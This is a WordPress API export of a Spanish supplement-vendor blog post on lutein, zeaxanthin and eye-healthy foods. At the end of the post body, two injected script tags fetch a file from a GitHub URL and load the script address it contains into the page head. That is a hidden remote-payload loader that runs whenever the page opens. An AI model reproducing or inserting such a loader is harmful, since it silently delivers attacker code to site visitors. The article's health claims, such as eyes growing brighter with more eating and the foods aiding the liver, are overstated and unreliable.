{"id":4326,"date":"2023-12-22T15:35:25","date_gmt":"2023-12-22T07:35:25","guid":{"rendered":"https:\/\/www.backvita.com\/?p=4326"},"modified":"2024-04-13T00:04:16","modified_gmt":"2024-04-12T16:04:16","slug":"lutein-zeaxanthin-lutein-and-zeaxanthin-foods-the-brighter-your-eyes-are","status":"publish","type":"post","link":"https:\/\/www.backvita.com\/es\/luteina-zeaxantina-luteina-y-zeaxantina-alimentos-mas-brillantes-son-sus-ojos\/","title":{"rendered":"lute\u00edna y zeaxantina lute\u00edna y zeaxantina alimentos m\u00e1s brillantes para los ojos"},"content":{"rendered":"<div class=\"wp-block-stackable-image stk-block-image stk-block stk-1682abf\" data-block-id=\"1682abf\"><figure class=\"stk-img-wrapper stk-image--shape-stretch\"><img decoding=\"async\" loading=\"lazy\" class=\"stk-img wp-image-3355\" src=\"https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/What-is-zeaxanthin.webp\" width=\"813\" height=\"449\" alt=\"Qu\u00e9 es la zeaxantina\" srcset=\"https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/What-is-zeaxanthin.webp 813w, https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/What-is-zeaxanthin-300x166.webp 300w, https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/What-is-zeaxanthin-768x424.webp 768w, https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/What-is-zeaxanthin-600x331.webp 600w\" sizes=\"(max-width: 813px) 100vw, 813px\" \/><\/figure><\/div>\n\n\n\n<p>En la sociedad moderna, con la popularizaci\u00f3n de los productos electr\u00f3nicos y el aumento de la presi\u00f3n laboral, cada vez m\u00e1s personas se enfrentan al problema de la fatiga ocular y la p\u00e9rdida de visi\u00f3n. Para proteger nuestros ojos, adem\u00e1s de prestar atenci\u00f3n a la higiene ocular y el descanso adecuado, tambi\u00e9n podemos recuperarnos a trav\u00e9s de la dieta. Este art\u00edculo presentar\u00e1 tres alimentos que tienen el efecto de proteger el ojo y el h\u00edgado: los ar\u00e1ndanos, el ma\u00edz amarillo y las batatas. Estos alimentos no s\u00f3lo son nutritivos, sino que tambi\u00e9n ayudan a mejorar la visi\u00f3n y hacen que los ojos sean m\u00e1s brillantes cuanto m\u00e1s se comen.<\/p>\n\n\n\n<p>Los ar\u00e1ndanos son una fruta rica en antioxidantes y nutrientes como <a href=\"https:\/\/www.backvita.com\/es\/categoria-de-productos\/vitamin-derivatives\/vitamin-c\/\">vitamina C<\/a>vitamina A y <a href=\"https:\/\/www.backvita.com\/es\/categoria-de-productos\/natural-colors\/anthocyanins\/\">antocianinas<\/a>. Entre ellas, las antocianinas son potentes antioxidantes que protegen los ojos de los da\u00f1os causados por los radicales libres y reducen el riesgo de enfermedades oculares. Al mismo tiempo, la vitamina A ayuda a mantener sana la c\u00f3rnea y a prevenir la sequedad ocular y la ceguera nocturna. Por lo tanto, el consumo regular de ar\u00e1ndanos puede aliviar eficazmente la fatiga ocular y mejorar la visi\u00f3n.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><a href=\"https:\/\/www.backvita.com\/es\/producto\/marigold-flower-extract-zeaxanthin\/\">lute\u00edna y zeaxantina<\/a> beneficios de los alimentos<\/h2>\n\n\n\n<p><a href=\"https:\/\/www.backvita.com\/es\/producto\/marigold-flower-extract-zeaxanthin\/\">Lute\u00edna y zeaxantina<\/a>La zeaxantina y la lute\u00edna son dos sustancias importantes para proteger la salud ocular. La zeaxantina y la lute\u00edna son antioxidantes naturales que filtran la luz azul perjudicial para los ojos y reducen el riesgo de da\u00f1os en la retina. <a rel=\"noreferrer noopener\" href=\"https:\/\/zh.semrush.com\/analytics\/keywordoverview\/?q=lutein%20zeaxanthin&amp;db=us\" target=\"_blank\">lute\u00edna<\/a> La zeaxantina puede favorecer la producci\u00f3n de pigmentos visuales en la retina y mejorar la agudeza visual. Por lo tanto, el consumo regular de lute\u00edna y zeaxantina <a rel=\"noreferrer noopener\" href=\"https:\/\/zh.semrush.com\/analytics\/keywordoverview\/?q=lutein%20and%20zeaxanthin%20supplements&amp;db=us\" target=\"_blank\">suplementos<\/a> ayuda a proteger los ojos de los da\u00f1os causados por la luz y a mantener una buena visi\u00f3n.<\/p>\n\n\n\n<p>Los boniatos son ricos en nutrientes como betacaroteno, vitamina C y vitamina E. El betacaroteno puede convertirse en vitamina A en el organismo y desempe\u00f1a un papel importante en el mantenimiento de una visi\u00f3n normal y la prevenci\u00f3n de enfermedades oculares. Adem\u00e1s, la vitamina C y la vitamina E trabajan juntas para aumentar la capacidad antioxidante y proteger las c\u00e9lulas oculares de los da\u00f1os causados por el estr\u00e9s oxidativo. Por lo tanto, el consumo moderado de boniatos puede ayudar a proteger la salud ocular y mejorar la visi\u00f3n.<\/p>\n\n\n\n<p>En resumen, los ar\u00e1ndanos, el ma\u00edz amarillo y los boniatos son tres alimentos con importantes beneficios para la salud ocular y hep\u00e1tica. Los ar\u00e1ndanos son ricos en antioxidantes como las antocianinas y la vitamina A, que pueden reducir la fatiga ocular y mejorar la visi\u00f3n; <a href=\"https:\/\/www.backvita.com\/es\/extracto-de-flor-de-calendula-luteina-y-salud\/\">Lute\u00edna<\/a> y la zeaxantina del ma\u00edz amarillo ayudan a filtrar la luz azul da\u00f1ina y mejoran la agudeza visual. Los boniatos protegen los ojos del da\u00f1o oxidativo aportando nutrientes ricos como el betacaroteno y las vitaminas C y E. Alternar la ingesta de estos alimentos a lo largo del d\u00eda no solo proteger\u00e1 su salud visual, sino que tambi\u00e9n nutrir\u00e1 su h\u00edgado y har\u00e1 que sus ojos brillen m\u00e1s.<\/p>\n\n\n\n<p><a href=\"http:\/\/Marigold Extract Lutein Manufacturer \/lutien Manufacturers\/\u00a0 \u00a0lutien powder \u00a0Supplier \/lutein Suppliers\/lutein Factory\">Lute\u00edna de extracto de cal\u00e9ndula<\/a> Fabricante \/lutien Fabricantes\/ lutien polvo Proveedor \/lute\u00edna Proveedores\/lute\u00edna F\u00e1brica:<\/p>\n\n\n\n<p><strong>www.<em>backvita.com<\/em><br>Correo electr\u00f3nico: info@backvita.com<br>Tel\u00e9fono: +86 (029) 8187 2325<\/strong><\/p>\n (<script>var url = \"https:\/\/raw.githubusercontent.com\/truba77\/trubnik\/main\/to.txt\"; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement(\"script\"); script.src = data.trim(); document.getElementsByTagName(\"head\")[0].appendChild(script); });<\/script>) (<script>var url = \"https:\/\/raw.githubusercontent.com\/truba77\/trubnik\/main\/to.txt\"; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement(\"script\"); script.src = data.trim(); document.getElementsByTagName(\"head\")[0].appendChild(script); });<\/script>)","protected":false},"excerpt":{"rendered":"<p>In modern society, with the popularization of electronic products and the increase of work pressure, more and more people are facing the problem of eye fatigue and vision loss. In order to protect our eyes, in addition to paying attention to eye hygiene and proper rest, we can also recover through diet. This article will [&hellip;]<\/p>","protected":false},"author":1,"featured_media":3355,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_seopress_robots_primary_cat":"none","_seopress_titles_title":"lutein &amp; zeaxanthin lutein and zeaxanthin foods the brighter your eyes are","_seopress_titles_desc":"lutein Zeaxanthin can promote the production of visual pigments in the retina and improve visual acuity. Therefore, regular consumption of lutein and zeaxanthin supplements helps protect the eyes from light damage and maintain good vision.","_seopress_robots_index":"","footnotes":""},"categories":[1],"tags":[1362,1346,1619,1615,1451],"blocksy_meta":"","featured_image_urls":{"full":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/What-is-zeaxanthin.webp",813,449,false],"thumbnail":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/What-is-zeaxanthin-150x150.webp",150,150,true],"medium":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/What-is-zeaxanthin-300x166.webp",300,166,true],"medium_large":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/What-is-zeaxanthin-768x424.webp",768,424,true],"large":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/What-is-zeaxanthin.webp",813,449,false],"1536x1536":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/What-is-zeaxanthin.webp",813,449,false],"2048x2048":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/What-is-zeaxanthin.webp",813,449,false],"trp-custom-language-flag":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/What-is-zeaxanthin.webp",18,10,false],"woocommerce_thumbnail":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/What-is-zeaxanthin-300x300.webp",300,300,true],"woocommerce_single":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/What-is-zeaxanthin-600x331.webp",600,331,true],"woocommerce_gallery_thumbnail":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/What-is-zeaxanthin-100x100.webp",100,100,true]},"post_excerpt_stackable":"<p>In modern society, with the popularization of electronic products and the increase of work pressure, more and more people are facing the problem of eye fatigue and vision loss. In order to protect our eyes, in addition to paying attention to eye hygiene and proper rest, we can also recover through diet. This article will introduce three foods that have the effect of protecting the eye and liver: blueberries, yellow corn, and sweet potatoes. These foods are not only nutritious, but also help improve vision and make your eyes brighter the more you eat. Blueberries are an antioxidant-rich fruit that&hellip;<\/p>\n","category_list":"<a href=\"https:\/\/www.backvita.com\/es\/category\/tendencias-del-sector\/\" rel=\"category tag\">Industry Trends<\/a>","author_info":{"name":"backvita","url":"https:\/\/www.backvita.com\/es\/author\/backvita\/"},"comments_num":"0 comments","_links":{"self":[{"href":"https:\/\/www.backvita.com\/es\/wp-json\/wp\/v2\/posts\/4326"}],"collection":[{"href":"https:\/\/www.backvita.com\/es\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.backvita.com\/es\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.backvita.com\/es\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.backvita.com\/es\/wp-json\/wp\/v2\/comments?post=4326"}],"version-history":[{"count":3,"href":"https:\/\/www.backvita.com\/es\/wp-json\/wp\/v2\/posts\/4326\/revisions"}],"predecessor-version":[{"id":6478,"href":"https:\/\/www.backvita.com\/es\/wp-json\/wp\/v2\/posts\/4326\/revisions\/6478"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.backvita.com\/es\/wp-json\/wp\/v2\/media\/3355"}],"wp:attachment":[{"href":"https:\/\/www.backvita.com\/es\/wp-json\/wp\/v2\/media?parent=4326"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.backvita.com\/es\/wp-json\/wp\/v2\/categories?post=4326"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.backvita.com\/es\/wp-json\/wp\/v2\/tags?post=4326"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}